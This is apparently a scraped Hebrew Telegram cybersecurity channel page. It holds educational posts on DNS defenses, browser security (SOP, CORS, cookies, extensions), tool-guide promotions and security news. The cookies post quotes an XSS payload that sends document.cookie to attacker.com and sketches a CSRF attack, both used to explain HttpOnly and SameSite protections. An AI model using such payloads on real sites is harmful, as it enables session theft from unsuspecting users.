ניתוח לעומק.","articleBody":"נשמח שתכתבו לנו אזה נושא הבא אתם רוצים שנעשה לו ניתוח לעומק.","datePublished":"2025-07-08T13:23:43Z","dateModified":"2025-07-08T13:23:43Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":5,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":155},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":5}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/250","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/250","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/250","headline":"🛡️י DNS Deep Dive (5/5): מנגנוני הגנה - DNSSEC, DoH ו-DoT 🛡️ בפרקים הקודמים של הסדרה ראינו שפרוטוקול ה-DNS המ…","articleBody":"🛡️י DNS Deep Dive (5/5): מנגנוני הגנה - DNSSEC, DoH ו-DoT 🛡️\nבפרקים הקודמים של הסדרה ראינו שפרוטוקול ה-DNS המקורי נבנה על אמון, והוא מטבעו \"שביר\" וחשוף למניפולציות. החדשות הטובות הן שהעולם הטכנולוגי לא נשאר אדיש. היום נכיר את שכבות ההגנה המודרניות שנועדו להחזיר את הביטחון והפרטיות לפרוטוקול החשוב הזה.\n\nיDNSSEC: חותמת האבטחה הדיגיטלית\nהבעיה שהוא פותר: הרעלת מטמון (Cache Poisoning). כפי שראינו, תוקף יכול לזייף תשובת DNS ולשלוח אתכם לאתר זדוני.\nהפתרון - הבטחת אותנטיות ושלמות (Authenticity & Integrity):\nיDNSSEC (DNS Security Extensions) לא מצפין את תעבורת ה-DNS. המידע נשאר גלוי. במקום זאת, הוא מוסיף חתימה דיגיטלית לכל רשומת DNS.\nדמיינו שכל תשובת DNS מגיעה במעטפה, ו-DNSSEC הוא החתימה של השולח על המעטפה. אתם עדיין יכולים לקרוא את המכתב שבפנים, אבל החותמת מוכיחה לכם שהמכתב אכן הגיע מהשולח (השרת הסמכותי) ולא נפתח או שונה בדרך.\nבאמצעות שימוש במפתחות קריפטוגרפיים (ציבוריים ופרטיים), DNSSEC מאפשר ל-Recursive Resolver שלכם לוודא ב-100% שהתשובה שקיבל היא אכן התשובה המקורית. אם תוקף ינסה לשנות את התשובה בדרך, החתימה הדיגיטלית תישבר, והשרת יזהה את הזיוף וידחה את התשובה.\nאיך בודקים? אפשר להשתמש בכלים אונליין כמו dnssec-analyzer.verisignlabs.com כדי לראות אם דומיין מסוים מאובטח באמצעות DNSSEC.\n\nיDoH ו-DoT: מעטפת הפרטיות שלכם\nהבעיה שהם פותרים: חוסר פרטיות (Confidentiality). כברירת מחדל, כל שאילתות ה-DNS שאתם שולחים נשלחות כטקסט גלוי (Plain Text). זה כמו לשלוח גלויה בדואר 📬 – כל מי שבדרך (בית הקפה, ספקית האינטרנט שלכם, גורמי ממשל) יכול לקרוא לאילו אתרים אתם גולשים. DNSSEC לא פותר את בעיית הפרטיות הזו.\nהפתרון - הצפנה:\nיDNS over TLS (DoT) ו-DNS over HTTPS (DoH) עוטפים את שאילתות ה-DNS שלכם במעטפת מוצפנת, והופכים את הגלויה למכתב סגור בתוך קופסת מתכת נעולה 🔒.\n\nיDNS over TLS (DoT): יוצר ערוץ מוצפן ייעודי לתעבורת DNS על פורט 853. קל יחסית למנהלי רשת לזהות ולנהל את התעבורה הזו.\n\nיDNS over HTTPS (DoH): מתוחכם יותר. הוא מסווה את שאילתות ה-DNS כתעבורת גלישה רגילה (HTTPS) על פורט 443. מכיוון שרוב תעבורת האינטרנט כיום מוצפנת ב-HTTPS, קשה מאוד לחסום או לנטר DoH בלי לפגוע בגלישה הלגיטימית. זה מעולה לפרטיות המשתמש, אך לעיתים יוצר אתגרים לרשתות ארגוניות שרוצות לנטר את התעבורה שלהן.\nכיום, מערכות הפעלה מודרניות (Windows, Android, iOS) ודפדפנים (כרום, פיירפוקס) כבר תומכים ב-DoH/DoT ומאפשרים למשתמשים להפעיל זאת בקלות דרך ההגדרות.\n\nסיכום הסדרה: ארגז הכלים השלם\nעברנו מסע ארוך:\nהבנו את היסודות: מה זה DNS ואיך עובד תהליך התרגום משם לכתובת.\nצללנו לעומק: הכרנו את סוגי הרשומות השונים (MX, TXT, CNAME...).\nחשפנו התקפות קלאסיות: למדנו איך מרעילים את המטמון (Cache Poisoning).\nגילינו שימוש זדוני: ראינו איך תוקפים משתמשים ב-מנהור DNS כדי לגנוב מידע.\nהצטיידנו בהגנות: הכרנו את הפתרונות המודרניים.\nלסיכום, הנה ארגז הכלים להתמודדות עם איומי DNS:\nהבעיה: תשובות DNS מזויפות (הרעלה) ⬅️ הפתרון: DNSSEC להבטחת שלמות ואותנטיות ✅.\nהבעיה: חוסר פרטיות וריגול אחר השאילתות שלכם ⬅️ הפתרון: DoH / DoT להשגת סודיות והצפנה 🔒.\nהבעיה: שימוש לרעה בפרוטוקול (מנהור, C2) ⬅️ הפתרון: ניטור תעבורה ו-DNS Firewalls לזיהוי ומניעה 🚨.\n\nפרוטוקול ה-DNS התחיל את דרכו בעולם תמים יותר. האיומים שסקרנו אילצו אותו להתפתח ולהתמגן. ההבנה של מנגנוני ההגנה האלו היא קריטית לכל מי שמתענין בסייבר, הגנה או רשתות.\nתודה שהצטרפתם אליי למסע הזה לעומק נבכי ה-DNS! מקווה שהסדרה הייתה מועילה ומעשירה.\nהצטרפו לערוץ @CYBERSECURITYCODING","datePublished":"2025-07-08T13:22:41Z","dateModified":"2025-07-08T13:22:41Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":168},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}}]}



















674
📘 מדריך סופר־שימושי על sqlmap!
אינה לכם PDF עוצמתי שמסביר איך הכלי הזה מזהה ומנצל פרצות SQL בצורה אוטומטית 🧠💻
בין אם אתם בתחילת הדרך או כבר עם כובעים לבנים – זה אחד הכלים שהכי חשוב להכיר 🕵️♂️
🔎 במדריך תמצאו:
• מה זה SQL Injection ומה ההשלכות שלו
• איך לעבוד עם sqlmap בצורת פקודות פשוטות
• איך לשלוף מידע ממסדי נתונים ולזהות חולשות קריטיות
• אילו סוגי התקפות הכלי תומך בהם
🚀 למי זה מתאים?
• סטודנטים לסייבר
• חוקרי אבטחת מידע
• אנשי DevSecOps
• כל מי שחולם להיות bug bounty hunter 🐞🏆
🎯 רוצים עוד כאלה?
📲 הצטרפו עכשיו לקבוצת הטלגרם שלנו!
👉 @CyberSecurityCoding
🌐 מה תמצאו בקבוצה?
• מדריכים מקצועיים וכלים שווים 💎
• שאלות ותשובות עם קהילת סייבר תומכת 🧑💻
• טיפים, אתגרים, חידונים וחומרי לימוד 🔥
❤️ אהבתם את המדריך? תגיבו בקבוצה!
🧠 יש לכם רעיון ל־PDF הבא? שלחו לי ! ✍️🤩
674
📘 מדריך סופר־שימושי על sqlmap!
הכנתי לכם PDF עוצמתי שמסביר איך הכלי הזה מזהה ומנצל פרצות SQL בצורה אוטומטית 🧠💻
בין אם אתם בתחילת הדרך או כבר עם כובעים לבנים – זה אחד הכלים שהכי חשוב להכיר 🕵️♂️
🔎 במדריך תמצאו:
• מה זה SQL Injection ומה ההשלכות שלו
• איך לעבוד עם sqlmap בצורת פקודות פשוטות
• איך לשלוף מידע ממסדי נתונים ולזהות חולשות קריטיות
• אילו סוגי התקפות הכלי תומך בהם
🚀 למי זה מתאים?
• סטודנטים לסייבר
• חוקרי אבטחת מידע
• אנשי DevSecOps
• כל מי שחולם להיות bug bounty hunter 🐞🏆
🎯 רוצים עוד כאלה?
📲 הצטרפו עכשיו לקבוצת הטלגרם שלנו!
👉 @CyberSecurityCoding
🌐 מה תמצאו בקבוצה?
• מדריכים מקצועיים וכלים שווים 💎
• שאלות ותשובות עם קהילת סייבר תומכת 🧑💻
• טיפים, אתגרים, חידונים וחומרי לימוד 🔥
❤️ אהבתם את המדריך? תגיבו בקבוצה!
🧠 יש לכם רעיון ל־PDF הבא? שלחו לי ! ✍️🤩
674
📘 מדריך סופר שימושי על Nmap!
הרכבתי לכם PDF שמסביר איך הכלי הזה עובד, איך סורקים פורטים כמו מקצוענים ואילו שיטות קיימות 💡
אם אתם רוצים להבין מה מתחבא ברשתות או לשפר את יכולות הסייבר שלכם – זה בשבילכם 🔍💻
🧠 מתאים גם למתחילים וגם לגיקים של אבטחת מידע שרוצים לחזק את ארגז הכלים שלהם 💪
🎯 רוצים עוד כאלה?
📲 הצטרפו לקבוצת הטלגרם שלנו:
👉 @CyberSecurityCoding
🌐 מה תמצאו בקבוצה?
• מדריכים איכותיים
• שאלות ותשובות עם קהילת סייבר תומכת
• כלים, טיפים ואתגרים מרתקים
❤️ אהבתם את הקובץ? תגיבו בקבוצה!
🧠 ויש לכם רעיונות לנושאים נוספים שאתם רוצים שאכין עליהם PDF? אני אשמח לשמוע ולהכין 🎉
674
🔥 היי חברים! 🔥
יש לי רעיון שיכול לתת בוסט רציני לידע שלכם! 🚀
מדריך PDF עם הסברים פשוטים על נושאים חמים וחדשניים בסייבר, הגנה ותכנות! 😎
📘 מה יכול להיות בפנים?
💻 סייבר והגנה
🧠 בינה מלאכותית (AI)
🧰 תכנות בלינוקס
🪟 Windows PE
📡 רשתות, קוד, האקינג ועוד…
🧩 אתם רק צריכים לבחור – ואני אבנה את זה במיוחד בשבילכם! 💪
💬 כתבו בתגובות:
1️⃣ מעניין אתכם?
2️⃣ איזה נושאים הייתם רוצים שיהיו בפנים? 🎯
📤 בהתאם למה שתרשמו, נתחיל להעלות תכנים שיהיו בדיוק לטעמכם! 🧵
הצטרפו לקבוצה :
@CyberSecurityCoding
674
🚨💻🌐
התקפות הסייבר הגדולות בהיסטוריה: 7.3 טרה-ביט לשנייה!
חברת Cloudflare חשפה נתונים מטרידים על גל התקפות DDoS חסר תקדים ברבעון השני של 2025.
🔍 מה קרה?
🔹 התקפת DDoS אחת הגיעה לשיא של 7.3 טרה-ביט לשנייה - עוצמה שמשתקת תשתיות שלמות תוך 45 שניות! 💥
🔹 עלייה של 592% בהתקפות "היפר-וולומטריות" (מעל 100 מיליון חבילות נתונים בשנייה) 📈
🔹 70% מההתקפות בוצעו ע"י בוטנטים ידועים, עם עלייה של 68% בהתקפות כופר (DDoS+Ransom) 💰
🔹 סקטורים מובילים שהותקפו: טלקום, IT, גיימינג והימורים - עם סין וברזיל בראש רשימת המדינות המותקפות 🌍
🔹 בוטנט חדש בשם "DemonBot" מדביק מכשירי IoT לא מאובטחים דרך פרצות בסיסמאות וחיבורי SSH חלשים 🤖
🔹 Cloudflare חסמה 28 מיליון התקפות DDoS רק ב-2025 - יותר מכל שנת 2024! 🛡️
🔹 ההתקפות הפכו מתוחכמות: שילוב של הצפות ענק עם סריקות שקטות לאיתור נקודות תורפה 🎯
העולם הדיגיטלי במלחמת חורמה - והקרב רק מתחמם! 🔥
📜 לכתבה המלאה:
🔗 thehackernews.com
📢 הצטרפו לקבוצה שלנו לדיונים ועדכונים נוספים!
🔗 Cyber Security Coding
שמרו על עצמכם! 🛡️🚀
674
Repost from LΣҒΔ𝕽ΩLL 🇮🇱
הסינים טוענים שיש להם 0day לטלגרם שמאפשר גישה לתוכן מקבוצות פרטיות כולל כאלה שהוסרו או הוגבלו 🧐
נשמע מופרך אבל הם מביאים לכאורה דוגמאות. המעבדה הסינית Huangdou חשפה באג שגורם לטלגרם "להתבלבל" ולשלוף הודעות ממקום אחד לאחר. כאילו שברו את שכבת ההפרדה בין קבוצות ואתה פתאום רואה הודעה מקבוצה שלא היית בה מעולם.
מעבדה שנייה, Fugui Security, לקחה את זה עוד שלב וטוענת שאפשר ממש לשאוב קבצים, הודעות ותמונות גם מקבוצות שלא היית חבר בהן מעולם. כולל גישה לדברים ששמורים רק בשרת או שנמחקו לכאורה אצל המשתמש.
טוענים שאפשר להוציא:
🔸תוכן שיחות מקבוצות סגורות
🔸קבצים אישיים כולל xlsx, תמונות...
🔸לפעמים גם מידע שנמחק
הם לא פרסמו פרטים טכניים, לא POC, רק כמה סקרינשוטים אבל אם אפילו חצי מזה נכון, מדובר בכשל רציני בארכיטקטורה של טלגרם עצמה.
בשלב הזה הכול בגדר טענה, נעדכן אם ייצא POC. 😏
➖➖➖➖➖➖➖➖➖➖➖➖
🛡 Cyber | 😸 Memes | 🫂 Community 👑 VIP
674
🔒💻🚨 הסכנה החבויה: דליפת סודות ומידע רגיש דרך מאגרי Git
הסיכום שלפניכם חושף את הסכנה הגדולה שמרבית הארגונים מתעלמים ממנה - דליפת נתונים רגישים ממאגרי קוד ב-Git.
🔍 מה קרה?
🔹 מאות אלפי סודות (כמו מפתחות API וסיסמאות) דולפים ממאגרי Git ציבוריים ופרטיים - עלייה של 67% ב-2024 בלבד! 📈
🔹 התוקפים מנצלים שטחי קוד נטושים או מוגדרים לא נכון כדי לחדור לרשתות פנימיות ולעננים. ☁️💥
🔹 כלי סריקה אוטומטיים מאפשרים לתוקפים למצוא סודות חשופים בקלות - ולעבור מהם לשליטה מלאה בתשתית. 🕵️♂️🔑
🔹 דליפה אחת יכולה לחשוף: סביבות ענן, מסדי נתונים, מערכות CI/CD ואפילו תרשימי ארכיטקטורה פנימיים. 🗺️💾
🔹 תקנות אבטחה חדשות (כמו NIS2 ו-ISO 27001) מחייבות ארגונים לאבטח את צינורות אספקת התוכנה - או לעמוד בקנסות. ⚖️🔐
🛡️ איך מתגוננים?
🔹 מעבר לניהול סודות מרכזי (כמו HashiCorp Vault) במקום קידוד ישיר בקובצי קוד. 🗄️
🔹 סריקה אוטומטית עם כלים כמו Gitleaks לפני כל commit. 🔎
🔹 הגבלת הרשאות לפי עקרון "הרשאה מינימלית" וסיבוב סדיר של סיסמאות. 🔄
📜 לכתבה המלאה:
🔗 thehackernews.com
📢 הצטרפו לקבוצה שלנו לדיונים ועדכונים נוספים!
🔗 Cyber Security Coding
שמרו על עצמכם! 🛡️🚀
674
📝 סיכום הסדרה:
בסדרה זו ראינו כי הדפדפן הוא מערכת אבטחה מורכבת ורב-שכבתית. החל מבידוד תהליכים פיזי (Sandbox), דרך חוקים לוגיים כמו SOP, ניהול מאובטח של מצב (Cookies) וכלה במודל ההרשאות של תוספים. תוספים הם הרחבה עוצמתית ליכולות הדפדפן, אך הם גם מהווים את אחת מנקודות התורפה הגדולות ביותר, מכיוון שהם דורשים מהמשתמש לוותר במודע על חלק מהגנות ברירת המחדל. גלישה בטוחה דורשת לא רק דפדפן מאובטח, אלא גם משתמש מודע וביקורתי.
תודה שקראתם. מקווה שהסדרה סיפקה ערך והבהירה את המתרחש מאחורי הקלעים של הכלי המרכזי ביותר בחיינו הדיגיטליים.
שאלות? הערות? שתפו בתגובות! 👇
הצטרפו לערוץ @CYBERSECURITYCODING
674
סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 4 (ואחרון): תוספים (Extensions) והרשאות
במהלך הסדרה, ניתחנו את מנגנוני ההגנה המובנים של הדפדפן: בידוד תהליכים (Sandboxing), מדיניות המקור הזהה (SOP) ותכונות האבטחה של עוגיות. כל אלה נועדו להגביל את יכולתו של קוד אינטרנטי לגרום נזק. בפוסט זה, נדון ברכיב שמשנה את כללי המשחק באופן יסודי:
תוספים (Browser Extensions).
תוספים מעניקים יכולות חדשות ושימושיות לדפדפן, אך עושים זאת במחיר של הענקת הרשאות נרחבות, שלעיתים עוקפות את מנגנוני ההגנה הסטנדרטיים. הבנת מודל ההרשאות והסיכונים שלהם היא קריטית לאבטחת המידע שלנו.
🧩 רקע תיאורטי: ארכיטקטורה ומודל ההרשאות של תוספים
מהם תוספים וכיצד הם שונים מדפי אינטרנט?
תוסף הוא תוכנת צד-שלישי שפועלת בתוך הדפדפן. בניגוד לדף אינטרנט, שרץ בתהליך רינדור מבודד ומוגבל לחלוטין (sandboxed), תוספים פועלים בסביבה עם הרשאות גבוהות משמעותית.
ארכיטקטורה: לתוספים יש רכיבים שרצים ברקע (Background Scripts) בתהליכים נפרדים ובעלי אורך חיים גבוה. הם אינם כבולים למחזור החיים של טאב בודד.
גישה ל-APIs ייעודיים: תוספים מקבלים גישה לממשקי API מיוחדים של הדפדפן (למשל, chrome.* או browser.*). ממשקים אלו מאפשרים להם לבצע פעולות שדף אינטרנט רגיל לעולם לא יוכל לבצע, כמו אינטראקציה עם טאבים אחרים, שינוי בקשות רשת וגישה ישירה לאחסון המקומי.
מודל ההרשאות (The Permission Model)
כוחם של התוספים נובע ישירות מההרשאות שהמשתמש מעניק להם בעת ההתקנה. כל תוסף חייב להצהיר על ההרשאות הנדרשות לו בקובץ התצורה שלו (manifest.json). בעת ההתקנה, הדפדפן מציג למשתמש רשימה זו. הבנת המשמעות של הרשאות אלו היא חיונית.
הרשאות נפוצות ומשמעותן:
יtabs: מאפשר לתוסף לקרוא מידע על הטאבים הפתוחים (כתובת URL, כותרת, favicon).
יstorage: מאפשר לתוסף לאחסן מידע באופן מקומי בדפדפן.
יcookies: מאפשר לתוסף לקרוא, לשנות ולמחוק עוגיות. שימו לב, הרשאה זו מאפשרת גישה גם לעוגיות שהוגדרו כ-HttpOnly.
י<all_urls> או https://*/*: זו ההרשאה המסוכנת והנפוצה ביותר. היא מעניקה לתוסף את היכולת לקרוא ולהזריק קוד (JavaScript/CSS) לכל דף אינטרנט שהמשתמש גולש אליו. תוספים לגיטימיים כמו חוסמי פרסומות או מנהלי סיסמאות דורשים הרשאה זו כדי לתפקד, אך היא גם מאפשרת לתוסף זדוני לגנוב כל מידע המוצג או מוזן בדף.
⚠️ פרקטיקה: סיכונים ודרכי התמודדות
המודל המתירני של הרשאות פותח וקטורי תקיפה רבים. תוסף זדוני יכול לבצע מגוון פעולות מסוכנות ברקע, ללא ידיעת המשתמש.
הסיכונים בתוספים זדוניים:
גניבת מידע רגיש: קריאת שדות של טפסים (Keylogging) כדי לגנוב סיסמאות, פרטי כרטיסי אשראי ומידע אישי ישירות מהדף, עוד לפני שהם נשלחים לשרת.
גניבת סשנים: שימוש בהרשאת cookies כדי לגנוב עוגיות סשן ולשלוח אותן לשרת של התוקף לצורך התחזות.
הזרקת פרסומות (Ad Injection): הוספת פרסומות, באנרים וחלונות קופצים לאתרים שהמשתמש גולש אליהם.
חטיפת תעבורה (Traffic Hijacking): שינוי תוצאות חיפוש, הפניית המשתמש לאתרי פישינג או הוספת קודי שותפים (affiliate codes) לקישורים של אתרי קניות.
כריית מטבעות קריפטוגרפיים (Cryptojacking): שימוש במעבד (CPU) של המשתמש כדי לכרות מטבעות דיגיטליים עבור התוקף, מה שגורם להאטה משמעותית במחשב.
איך לבחון תוספים לפני ואחרי התקנה?
האחריות לבדיקת התוספים מוטלת ברובה על המשתמש. יש לנקוט בגישת "אפס אמון" (Zero Trust) ולבצע את הבדיקות הבאות:
התקנה מחנויות רשמיות בלבד: התקינו תוספים רק מהחנויות הרשמיות (Chrome Web Store, Firefox Add-Ons וכו'). זהו סינון בסיסי, אך יש לזכור שגם לשם חודרים תוספים זדוניים.
בחינה קפדנית של ההרשאות: זהו השלב החשוב ביותר. לפני לחיצה על "הוסף", עצרו וקראו את רשימת ההרשאות. שאלו את עצמכם: "האם תוסף פשוט שמיועד לשנות צבעים באמת צריך הרשאה לקרוא את כל התוכן בכל האתרים שאני גולש אליהם?". אם ההרשאות נראות מוגזמות ביחס לפונקציונליות, הימנעו מהתקנה.
בדיקת פופולריות וביקורות: תוסף עם מיליוני משתמשים וביקורות חיוביות רבות הוא כנראה אמין יותר. עם זאת, יש להיזהר מביקורות מזויפות. חפשו ביקורות מפורטות המתארות את חוויית השימוש.
בדיקת זהות המפתח: האם למפתח יש אתר רשמי? מדיניות פרטיות ברורה? או שמדובר בגורם אנונימי ללא היסטוריה? שקיפות המפתח היא סימן חיובי.
היזהרו מחיקויים: תוקפים לעיתים קרובות יוצרים העתקים של תוספים פופולריים עם שם ואייקון כמעט זהים, אך עם קוד זדוני בפנים. ודאו שאתם מתקינים את התוסף המקורי.
674
📝 סיכום והקדמה:
עוגיות הן כלי חיוני לניהול מצב, אך שימוש לא נכון בהן פותח דלת להתקפות חמורות. שימוש נכון בתכונות האבטחה HttpOnly, Secure ו-SameSite אינו המלצה, אלא דרישת חובה באפליקציות ווב מודרניות. HttpOnly מגן מפני גניבת עוגיות ב-XSS, ו-SameSite הוא קו ההגנה היעיל ביותר כיום נגד CSRF.
בפוסט הבא והאחרון בסדרה, נדון בעולם התוספים לדפדפן (Browser Extensions). נבין מדוע יש להם הרשאות כה נרחבות, מהן הסכנות הכרוכות בכך, וכיצד ניתן להעריך את רמת האבטחה של תוסף לפני התקנתו.
שאלות? הערות? אני כאן בתגובות! 👇
הצטרפו לערוץ @CYBERSECURITYCODING
674
סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 3: עוגיות (Cookies), אחסון, והתקפות State
בפוסטים הקודמים דנו במנגנוני הבידוד של הדפדפן: Sandboxing ברמת התהליך ו-Same-Origin Policy ברמת התקשורת בין אתרים. כעת, נתמקד בשאלה כיצד אתרים שומרים מידע עלינו ו"זוכרים" אותנו בין בקשות שונות. התשובה לכך מובילה אותנו ישירות לעוגיות (Cookies) ולהתקפות הנפוצות הקשורות אליהן.
פרוטוקול HTTP, שעליו בנוי האינטרנט, הוא Stateless (חסר-מצב). כל בקשה מהדפדפן לשרת היא אירוע עצמאי, והשרת אינו זוכר את הבקשות הקודמות. כדי לנהל סשנים (למשל, כדי להשאיר משתמש מחובר), היה צורך במנגנון לשמירת "מצב", והמנגנון הבסיסי ביותר לכך הוא עוגיות.
🍪 רקע תיאורטי: מנגנוני שמירת מצב בדפדפן
מהן עוגיות (Cookies)?
עוגייה היא פיסת מידע קטנה שהשרת שולח לדפדפן. הדפדפן מאחסן אותה, ושולח אותה בחזרה לשרת עם כל בקשה עתידית לאותו הדומיין.
תהליך הפעולה:
יצירת עוגייה: לאחר התחברות מוצלחת, השרת מחזיר תגובת HTTP עם כותרת Set-Cookie.
Set-Cookie: session_id=a1b2c3d4e5;
אחסון בדפדפן: הדפדפן מקבל את התגובה ושומר את העוגייה, מקשר אותה לדומיין של השרת.
שליחה חוזרת: בכל בקשה עתידית לאותו דומיין, הדפדפן יוסיף אוטומטית את כותרת ה-Cookie עם הערך השמור.
Cookie: session_id=a1b2c3d4e5
כך השרת יכול לזהות את המשתמש בכל בקשה ואינו צריך לבקש שם משתמש וסיסמה בכל פעם. אך למנגנון זה יש השלכות אבטחה משמעותיות, ולכן נוצרו תכונות (attributes) אבטחה קריטיות לעוגיות.
תכונות אבטחה קריטיות בעוגיות:
יHttpOnly
מה זה? flag המורה לדפדפן שעוגייה זו אינה צריכה להיות נגישה לקוד בצד הלקוח (כלומר, JavaScript).
חשיבות אבטחתית: מנגנון הגנה מרכזי נגד גניבת סשנים באמצעות התקפות Cross-Site Scripting (XSS). כאשר דגל זה פעיל, לא ניתן לגשת לעוגייה באמצעות document.cookie, וכך קוד זדוני שמוזרק לדף אינו יכול לגנוב אותה.
יSecure
מה זה? Flag המורה לדפדפן לשלוח את העוגייה אך ורק על גבי חיבור מוצפן (HTTPS).
חשיבות אבטחתית: מונע דליפה של העוגייה ברשתות לא מוצפנות. בלעדיו, תוקף המבצע התקפת Man-in-the-Middle (MitM) ברשת Wi-Fi ציבורית יכול ליירט את העוגייה ולגנוב את הסשן.
יSameSite
מה זה? התכונה החשובה ביותר להגנה מודרנית על עוגיות. היא קובעת האם הדפדפן ישלח את העוגייה בבקשות שמתחילות מאתרים אחרים (cross-site).
ערכים אפשריים:
יStrict: העוגייה תישלח רק בבקשות שמקורן באותו אתר בדיוק.
יLax: (ברירת המחדל ברוב הדפדפנים המודרניים) העוגייה תישלח בבקשות מאותו אתר, וגם כאשר המשתמש מנווט לאתר ממקור חיצוני (למשל, לחיצה על קישור). היא לא תישלח בבקשות משנה (subrequests) כמו טעינת תמונות, iframes, או שליחת טפסים מכתובת אחרת.
יNone: העוגייה תישלח בכל הבקשות, גם ממקורות חיצוניים. דורש שימוש בדגל Secure.
חשיבות אבטחתית: מנגנון הגנה ראשי נגד התקפות Cross-Site Request Forgery (CSRF).
⚔️ פרקטיקה: התקפות על ניהול המצב
כעת נחבר בין התיאוריה להתקפות קלאסיות בעולם הווב.
התקפה 1: Cross-Site Scripting (XSS) וגניבת עוגיות
יXSS היא חולשה המאפשרת לתוקף להזריק קוד JavaScript זדוני לתוך דף אינטרנט המוצג למשתמשים אחרים.
תרחיש התקפה:
תוקף מוצא חולשת XSS באתר bank.com, למשל בשדה תגובות.
הוא מזין תגובה המכילה סקריפט: <script>fetch('https://attacker.com/?cookie=' + document.cookie);</script>
משתמש תמים צופה בדף התגובות. הדפדפן שלו מריץ את הסקריפט הזדוני.
הסקריפט קורא את העוגיות באמצעות document.cookie ושולח אותן לשרת של התוקף.
אם עוגיית הסשן לא הייתה מוגנת, התוקף כעת מחזיק בה ויכול להתחזות למשתמש.
ההגנה: הגדרת עוגיית הסשן עם הדגל HttpOnly. במצב זה, document.cookie לא יכיל את העוגייה, והסקריפט של התוקף לא יוכל לגשת אליה, מה שמנטרל את וקטור גניבת הסשן.
התקפה 2: Cross-Site Request Forgery (CSRF)
יCSRF היא התקפה הגורמת לדפדפן של משתמש מחובר לבצע פעולה לא רצויה באתר אחר, ללא ידיעתו.
תרחיש התקפה קלאסי (לפני הגנת SameSite):
משתמש מחובר לחשבון הבנק שלו באתר bank.com.
המשתמש גולש לאתר זדוני evil-site.com.
באתר הזדוני יש קוד הנטען ברקע, למשל טופס נסתר ששולח בקשת POST לביצוע העברה בנקאית
הדפדפן שולח את הבקשה ל-bank.com. מכיוון שהבקשה מיועדת לדומיין של הבנק, הדפדפן מצרף אליה אוטומטית את עוגיית הסשן של המשתמש.
שרת הבנק מקבל בקשה שנראית לגיטימית לחלוטין (עם עוגיית סשן תקינה) ומבצע את ההעברה.
ההגנה: הגדרת עוגיית הסשן עם SameSite=Lax (או Strict). כאשר הדגל הזה פעיל, הדפדפן לא ישלח את העוגייה בבקשת ה-POST הזו, מכיוון שהיא התחילה מאתר אחר (evil-site.com). הבקשה תגיע לשרת הבנק ללא אימות, ותידחה.
674
התצורה הנכונה היא להגדיר "רשימה לבנה" (whitelist) של המקורות המורשים באופן מפורש:
Access-Control-Allow-Origin: https://app.my-service.com
📝 סיכום והקדמה:
מדיניות המקור הזהה (SOP) היא עמוד תווך באבטחת ווב, המספקת בידוד בסיסי בין אתרים. CORS הוא המנגנון המבוקר להרפיית מגבלות אלו. קונפיגורציה לא נכונה של CORS, ובמיוחד שימוש ב-*, מהווה פרצת אבטחה קריטית המאפשרת גניבת נתונים.
בפוסט הבא בסדרה, נצלול לעולם העוגיות (Cookies) והאחסון בצד הלקוח. נבין איך אתרים "זוכרים" אותנו, מהן תכונות האבטחה החשובות של עוגיות (כמו HttpOnly ו-SameSite), וכיצד הן קשורות להתקפות קלאסיות כמו XSS ו-CSRF.
שאלות? הערות טכניות? אני כאן בתגובות! 👇
הצטרפו לערוץ @CYBERSECURITYCODING
674
סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 2: מדיניות המקור הזהה (Same-Origin Policy)
בפוסט הקודם, דנו ברמת התשתית: כיצד הדפדפן מבודד תהליכים באמצעות Sandboxing כדי להגן על מערכת ההפעלה. כעת נעלה שכבה אחת למעלה, ונדון במנגנון האבטחה הבסיסי ביותר של עולם הווב עצמו: מדיניות המקור הזהה (Same-Origin Policy, או SOP).
אם פתחתם טאב של הבנק שלכם וטאב של אתר חדשות, כיצד הדפדפן מוודא שסקריפט מאתר החדשות לא יכול לקרוא את יתרת החשבון שלכם מהטאב השני? התשובה טמונה ב-SOP.
📜 רקע תיאורטי: הגדרת גבולות בעולם הווב
מהו "מקור" (Origin)?
לפני שנבין את המדיניות, עלינו להגדיר במדויק מהו "מקור". מקור מוגדר על ידי שילוב של שלושה רכיבים של כתובת ה-URL:
סכמה (Scheme): הפרוטוקול, למשל http או https.
שם מארח (Hostname): הדומיין, למשל www.google.com או api.example.org.
פורט (Port): מספר הפורט של השרת, למשל 80 (ברירת המחדל ל-HTTP) או 443 (ברירת המחדל ל-HTTPS).
שני URL נחשבים כבעלי אותו מקור רק אם כל שלושת הרכיבים זהים לחלוטין.
דוגמאות להמחשה:
נניח שהמקור שלנו הוא
https://www.example.com
http://www.example.com -> מקור שונה (סכמה אחרת: http במקום https).
https://api.example.com -> מקור שונה (שם מארח אחר: api במקום www).
https://www.example.com:8080 -> מקור שונה (פורט אחר: 8080 במקום 443 הנסתר).
https://www.example.com/path/to/page.html -> אותו מקור (הנתיב עצמו אינו חלק מהגדרת המקור).
הגדרת המדיניות (SOP)
